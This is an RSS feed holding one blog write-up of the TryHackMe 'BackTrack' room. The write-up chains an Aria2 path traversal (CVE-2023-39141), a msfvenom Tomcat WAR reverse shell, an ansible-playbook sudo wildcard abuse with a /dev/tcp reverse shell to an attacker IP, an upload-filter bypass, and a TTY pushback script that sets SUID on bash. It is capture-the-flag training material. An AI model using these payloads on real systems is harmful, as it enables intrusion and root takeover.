<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arbaz Abid on Medium]]></title>
        <description><![CDATA[Stories by Arbaz Abid on Medium]]></description>
        <link>https://medium.com/@arbazabid223?source=rss-10ae0cdad240------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Arbaz Abid on Medium</title>
            <link>https://medium.com/@arbazabid223?source=rss-10ae0cdad240------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:42:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arbazabid223/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[BackTrack (Tryhackme)]]></title>
            <link>https://medium.com/@arbazabid223/backtrack-tryhackme-0e35c1d7034d?source=rss-10ae0cdad240------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e35c1d7034d</guid>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[backtrack]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ansible-playbook]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arbaz Abid]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 09:33:35 GMT</pubDate>
            <atom:updated>2024-10-17T09:33:35.333Z</atom:updated>
            <content:encoded><![CDATA[<p>A room with medium difficulty level on Tryhackme. It provides knowledge of <strong>Path Traversal Vulnerability in WebUI-Aria2</strong> having <a href="https://www.vicarius.io/vsociety/posts/cve-2023-39141-path-traversal-vulnerability-in-webui-aria2"><strong>CVE-2023–39141</strong></a><strong>,</strong> <strong>Tomcat Authenticated File Upload Vulnerability, Curl command (</strong>Path Traversal and Upload file<strong>), Privilege escalation </strong>with <strong>Ansible-Playbook, Port </strong>forwarding<strong>, TTY PushBack </strong>privilege escalation<strong>.</strong></p><h3>Initial Enumeration</h3><p><strong>Nmap Scan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*na9aszobzqFFyvsqsTyOXg.png" /></figure><p>There are total <strong>3 </strong>open ports</p><ol><li>port: 22 protocol: ssh</li><li>port: <strong>8080</strong> protocol:<strong>http</strong> service: <strong>Tomcat</strong></li><li>port: <strong>8080</strong> protocol:<strong>http</strong> service: <strong>WebUI-Aria2</strong></li></ol><p>First I wish to enumerate http services rathher than SSH due to no any credentials.</p><p><strong><em>Port 8080</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTxsDq2RuYNr8hh6nd6tTQ.png" /><figcaption>This version is not vulnerable and there is no any hidden directory rather than manager directory which is default directory of Tomcat. To access this directory we required Credentials.</figcaption></figure><p>We have not any credentials those we can use for Tomcat portal. So enumerate next http port.</p><p><strong>Port 8888</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EW_5UVVI3xR54bHGI30hOg.png" /><figcaption>Click <strong>setting tab</strong> than click on <strong>server info</strong> to verify the version of<strong> Aria2 WebUI</strong></figcaption></figure><p>The service running on port <strong>8888</strong> is <strong>Aria2 WebUI</strong>. <strong>Aria2</strong> is a utility for downloading files learn about it from <a href="https://aria2.github.io/">here</a>.</p><p>When I put <strong>Aria2 version 1.35.0</strong> in google, I found path traversal vulnerability in this version, It’s PoC is <a href="https://www.vicarius.io/vsociety/posts/cve-2023-39141-path-traversal-vulnerability-in-webui-aria2">here</a>.</p><p><strong>- Path Traversal on target machine </strong>using curl command</p><figure><img alt="Here I confirmed the path traversal vulnerability in target." src="https://cdn-images-1.medium.com/max/975/1*Jz4A0mRH_o7ZBXxaTpKqyQ.png" /><figcaption>Confirmed Path-Traversal Vulnerability (<a href="https://www.vicarius.io/vsociety/posts/cve-2023-39141-path-traversal-vulnerability-in-webui-aria2"><strong>CVE-2023–39141</strong></a><strong>)</strong></figcaption></figure><ul><li><strong>- — path-as-is</strong> : This flag helps to send as it is unusal path in url, without it curl removes ../ and send normal request to server example: <a href="http://10.10.229.255:8888/etc/hosts"><strong>http://10.10.229.255:8888/etc/hosts</strong></a> instead of above path mentioned in snapshot.</li></ul><p>— Check the current user’s configuration who runs the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1V7RG6E5JYaS_CT59cUFQ.png" /><figcaption>Current username is TOMCAT and his home path= /opt/tomcat</figcaption></figure><ul><li>BackTrack to previous enumeration we have a port 8080 where tomcat is running. So extract more information about that service through its configuration files.</li><li>I learnt about TOMCAT file structure on server how it organised them from <a href="https://docs.unidata.ucar.edu/tds/current/userguide/tomcat_dir_structure_qt.html"><strong>here</strong></a><strong>.</strong></li></ul><p>— There is a file that contain username and password of portal. Path is <strong>tomcat/conf/tomcat-users.xml</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UVROcYmBcTj645VUF-KWg.png" /><figcaption>Credentials</figcaption></figure><p><strong>~ TrackBack</strong> to port 8080 try to login Tomcat Portal using these credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBvLNSXFsiNotIUR-eWmMQ.png" /><figcaption>Login attempt</figcaption></figure><p>Attempt failed with correct credentials because GUI is disabled by Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3oO0ixnZoYBlBhjGb5qQA.png" /><figcaption>Access Denied</figcaption></figure><p>— Try to upload the shell through <strong>CURL</strong> command using credentials.</p><ul><li>Tomcat uses Java language, so creates the Java payload using msfvenom.</li></ul><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.13.70.3 LPORT=1234 -f war -o rev.war</pre><blockquote>The <strong>.war</strong> extension stands for <strong>Web Application Archive</strong>. It is a file format used to package a <strong>web application</strong> (such as Java Server Pages (JSP), Servlets, and related resources) that can be deployed to a Java-based web server or application server, such as Apache Tomcat.</blockquote><p>— Upload the shell and deploy it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*92uwit8f5D9GOATZk6u62A.png" /><figcaption>Tomcat uploads and deploy the file through this path <strong>/manager/text/deploy?path=/</strong></figcaption></figure><p>— Time to listen reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIUgGCnbXT-9RA-WINUp1g.png" /><figcaption>Reverse Shell</figcaption></figure><p>— Import the PTY shell</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><h3>Post Enumeration</h3><p>—<strong> First Flag</strong> in home directory of Tomcat. Path=<strong>/opt/tomcat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*GjjGUuWxQYdlcAy4x35WbQ.png" /><figcaption>Flag1.txt</figcaption></figure><p>Its time to escalate the privileges.</p><ul><li>Check the sudoers configuration for Tomcat user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*BBfmsItGKDrTq2kDW5mSgA.png" /><figcaption>Tomcat user runs a command /usr/bin/ansible-playbook with privileges of wilbur user with no password.</figcaption></figure><blockquote><strong>Ansible Playbooks offer a repeatable, reusable, simple configuration management and multi-machine deployment system</strong>. Learn more about from <a href="https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html">here</a>.</blockquote><ul><li>Check files available in path given in sudoers configuration. Path= <strong>/opt/test_playbooks/*.yml</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*8j5hu_mATxZnvVfjzPgMDA.png" /><figcaption>Both files are not benefial for us to escalate the privileges</figcaption></figure><ul><li>In this directory as Tomcat user we have not permission to write new script. So we take advantage of * given in path in sudoers configuration file.</li><li>Write a <strong>YAML script</strong> in TMP directory for ansible-playbook command to escalate the privileges.</li></ul><pre>---<br>- name: Privilege Escalation<br>  hosts: localhost<br>  remote_user: wilbur<br><br>  tasks:<br>  - name: Run script<br>    command: bash /tmp/rev.sh<br><br>#make this file locally than transfer to target machine using python http.server<br>#change its permission make it executable &quot;chmod +x rev.yml&quot;</pre><ul><li>Write a bash script for reverse shell with same mentioned in <strong>YAML</strong> script.</li></ul><pre>echo &#39;/bin/bash -i &gt;&amp; /dev/tcp/10.13.70.3/1234 0&gt;&amp;1&#39; &gt; /tmp/rev.sh<br>#Change the permission of script make it executable &quot;chmod +x rev.sh&quot;</pre><p>— Time to run script and take reverse shell of <strong>WILBUR</strong> user</p><pre>sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/rev.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mp_6EFOiVGeHefHtnT_WNA.png" /><figcaption><strong>Reverse Shell of Wilbur user.</strong></figcaption></figure><p>Enumerate the home directory of Wilbur user. <strong>/home/wilbur</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*csjfrFI6GPwcQOTeNNoCPw.png" /><figcaption>Wilbur Home</figcaption></figure><p>— There are two interesting files</p><ol><li>.just_in_case.txt</li><li>from_orville.txt</li></ol><pre>cat .just_in_case.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*nZyVmGc1yAAnQSg8Z_tM0w.png" /><figcaption><strong>SSh credentials of wilbur user.</strong></figcaption></figure><pre>cat from_orville.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ_K5c5mywA8QzeKHWi4Rw.png" /><figcaption>content of from_orville.txt</figcaption></figure><ul><li>We found that there is a http service running locally on server. To access that locally running service we need to forward the port.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*M-8be1iha9nNp-tga_5Dqw.png" /><figcaption>Http service on port 80</figcaption></figure><p><strong>Port Forwarding</strong></p><p>is a network technique used to redirect communication requests from one address and port number combination to another. There are different methods for port forwarding here I use Port Forwarding with SSH using wilbur credentials.</p><pre>ssh -L 8000:127.0.0.1:80 wilbur@10.10.244.81<br># -L : local port forwarding<br># 8000 : port on which you listen on your local machine<br># 127.0.0.1 : local ip of your machine<br># 80 : port of remote machine where the remote service is running </pre><p>After successfuly forwarding the port, access the http service in your local browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8LjtURQpZl_CDP5Yv-jzw.png" /><figcaption>A website running on port 80 of remote machine.</figcaption></figure><p>— BackTrack to post enumeration we have credentials for user <strong>orville.</strong></p><ul><li>Click on login and enter the credentials</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IP1-1z_FRyEa0KTNdILNDg.png" /><figcaption>Credentials of orville user</figcaption></figure><ul><li>There is a attack vector to upload a file. Now try to upload php shell to it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEYqMkNtNu1wC_uNZ6pCiw.png" /><figcaption>Try to upload shell.php</figcaption></figure><ul><li>There is server side extension filtration. Allowed extensions are<strong> JPG, PNG, JPEG, GIF. </strong>To bypass this filtration use double extension concept, add <strong>.png</strong> before<strong> .php</strong> extenstion like <strong>shell.png.php</strong>.</li><li>Server checks only first extension and allows to upload the php file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyh2aaghMtmzQ7zec37J2g.png" /><figcaption>Uploaded seccussfuly</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*tWOSu7Jg6O_N0BpdSFupEw.png" /><figcaption>Uploaded file</figcaption></figure><ul><li>Try to run the uploaded file but unfortunately uploads directory has not permission to execute the file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7a-77fZnMmqbCr5CLnYIGg.png" /><figcaption><strong>No permission to execute file</strong></figcaption></figure><p>— Try to upload the file to another directory taking advantage of path traversal vulnerability if exists there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghIjg6nx5-0B25-CQJ5SAg.png" /><figcaption>Uploaded shell to one previous directory of uploads</figcaption></figure><p>After trying double URL encoding to convert <strong>../ -&gt; %252e%252e%252f</strong></p><ul><li>It successfuly bypass the filtration and uploaded a shell taking<strong> advantage of path traversal vulnerability. </strong>And got shell of <strong>Orville</strong> user who runs this service locally on remote machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*pIX3grkDLIwjFI4bxYAq7g.png" /><figcaption>Executes the reverse shell and got shell of <strong>ORVILLE</strong> user</figcaption></figure><p><strong>Second Flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*aI5s5p5NK9VX5L6ArkIrog.png" /><figcaption>Flag2.txt</figcaption></figure><h4>Final jounery to root</h4><ul><li>After hard enumeration I got privilege escalation vector by spying Processors using <a href="https://github.com/DominicBreuker/pspy/releases">pspy script</a>.</li><li>After every minute some commands are executed.</li></ul><pre>2024/10/16 07:56:02 CMD: UID=0     PID=27892  | /bin/sh -e /usr/lib/update-notifier/update-motd-reboot-required <br>2024/10/16 07:56:02 CMD: UID=0     PID=27893  | -bash <br>2024/10/16 07:56:02 CMD: UID=0     PID=27895  | <br>2024/10/16 07:56:02 CMD: UID=0     PID=27897  | -bash <br>2024/10/16 07:56:02 CMD: UID=0     PID=27896  | -bash <br>2024/10/16 07:56:02 CMD: UID=0     PID=27898  | -bash <br>2024/10/16 07:56:02 CMD: UID=0     PID=27899  | /bin/sh /usr/bin/lesspipe <br>2024/10/16 07:56:02 CMD: UID=0     PID=27901  | <br>2024/10/16 07:56:02 CMD: UID=0     PID=27900  | /bin/sh /usr/bin/lesspipe <br>2024/10/16 07:56:02 CMD: UID=0     PID=27902  | dircolors -b <br>2024/10/16 07:56:02 CMD: UID=0     PID=27903  | -bash <br>2024/10/16 07:56:02 CMD: UID=0     PID=27904  | -bash                               <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27905  | su - orville <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27906  | groups <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27907  | -bash <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27909  | -bash <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27908  | -bash <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27910  | -bash <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27911  | /bin/sh /usr/bin/lesspipe <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27913  | /bin/sh /usr/bin/lesspipe <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27912  | /bin/sh /usr/bin/lesspipe <br>2024/10/16 07:56:02 CMD: UID=1003  PID=27914  | -bash <br>2024/10/16 07:56:05 CMD: UID=1003  PID=27915  | zip -q -r /home/orville/web_snapshot.zip /var/www/html/css /var/www/html/dashboard.php /var/www/html/includes /var/www/html/index.php /var/www/html/login.php /var/www/html/logout.php /var/www/html/navbar.php /var/www/html/php-reverse-shell.png.php /var/www/html/register.php /var/www/html/uploads</pre><ul><li>Observing the output there is misconfiguration. First it runs the<strong> bash shell </strong>with <strong>root</strong> privileges than change user from it. <strong>TTY pushback techique helps to escalate the privilege.</strong> Learn more about it from <a href="https://www.errno.fr/TTYPushback.html">here</a>.</li><li>Make script locally upload it to remote machine than add to <strong>.bashrc </strong>file of orville user.<strong> This file runs automatically all commands mentioned in it after logging into that user.</strong></li></ul><pre>#!/usr/bin/env python3<br>import fcntl<br>import termios<br>import os<br>import signal<br><br>os.kill(os.getppid(), signal.SIGSTOP)<br><br>for char in &#39;chmod +s /bin/bash\n&#39;:<br>    fcntl.ioctl(0, termios.TIOCSTI, char)<br>#script helps to set SUID bit of root user on bash</pre><pre>echo &#39;python3 /home/orville/puchback.py&#39; &gt;&gt; /home/orville/.bashrc<br>#add command </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*kfgCXusSuD4fAN_0rP7z_Q.png" /><figcaption>Finally <strong>ROOT</strong></figcaption></figure><p><strong>Root Flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*EBvM0-nwuYnNzv2LgNlVjA.png" /><figcaption>Flag3.txt</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e35c1d7034d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>